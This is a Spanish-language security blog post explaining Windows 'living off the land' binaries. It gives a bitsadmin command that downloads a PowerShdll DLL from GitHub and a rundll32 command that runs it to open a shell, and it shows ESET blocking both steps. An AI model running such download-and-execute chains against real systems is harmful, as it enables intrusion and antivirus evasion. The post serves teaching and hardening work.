16 mar. 2020

Explotando LOLBins en sistemas Windows. Parte 1

Por Juan Antonio Calles el 16 mar. 2020 con 0 comentarios

Buenas a todos, en el post de hoy quería traeros un ejemplo propuesto por Samuel Kimmons en el blog inquest.net, referente al uso de LoLBins, con el objetivo de que podáis ver la potencia del uso de este tipo de binarios en un proceso de intrusión.

LOLBins es el nombre abreviado de Living Off the Land Binaries, una técnica que se basa en aprovecharse de binarios propios del sistema para ocasionar un importante daño en un ataque, con una tasa de detección relativamente baja. En numerosos APTs se han visto combinaciones de estos con ataques fileless, como el caso de APT34 (Lazarous), lo que dota a estos binarios de una peligrosidad a tener en cuenta en los procesos de hardenización.

El ejemplo que proponía Kimmons, y que veremos hoy en Flu Project, hace referencia a 2 binarios. El primero de ellos es Bitsadmin, cuyo detalle técnico encontraréis en el siguiente enlace de Microsoft:
Básicamente, BITSAdmin es una herramienta de línea de comandos que puede ser utilizada para lanzar descargas y monitorizar su progreso. Lo que dota al binario de capacidades de dropper, como ya os imaginareis.

Con este binario, vamos a descargarnos una PoC para lanzar un powershell. Para ello, ejecutaremos simplemente la siguiente instrucción (cambiad mi nombre por vuestro usuario):
bitsadmin /transfer test /priority high https://github.com/p3nt4/PowerShdll/blob/master/dll/bin/x64/Release/PowerShdll.dll?raw=true C:\Users\JuanAntonioCalles\Downloads\test.dll
Si todo ha ido bien, en breve se habrá descargado la librería test.dll:



Ahora nos aprovecharemos de otra herramienta del sistema, Rundll32, la cual nos permitirá cargar y ejecutar dlls de 32 bits, como podéis ver en su documentación oficial:
Tan solo tendremos que lanzar la siguiente instrucción:
Rundll32 test.dll,main -w
Y si todo ha ido bien, ya tendremos nuestra powershell:





¿Somos invulnerables ante esto? La respuesta es NO. Realmente he hecho algo de trampa, ya que he deshabilitado el motor de protección en tiempo real del sistema de archivos de mi antivirus:


Si lo activase de la siguiente forma, pasaría lo siguiente:



En este caso ESET está parando las 2 secuencias del ataque, tanto la descarga haciendo uso de bitsadmin, como la posterior ejecución con Rundll32. 

Sin embargo, no todos los sistemas de seguridad de los potenciales objetivos lo paran, por lo que es recomendable probar diferentes LOLBins y quizás encontremos una vía de penetración que no había sido tenida en cuenta durante el proceso de fortificación.

Como bien apuntaba Samuel Kimmons, vemos dos secuencias de ataque categorizadas por el Mitre:
En los anteriores enlaces encontraréis mayor detalle sobre cada una de ellas.

En el proyecto LOLBAS (Living off the land binaries and scripts) encontraréis un gran listado de binarios y scripts que podréis utilizar en vuestros ataques:

Pero de LOLBAS os hablaremos en artículos posteriores :)

Saludos!
      editar

0 comentarios:

Publicar un comentario

< >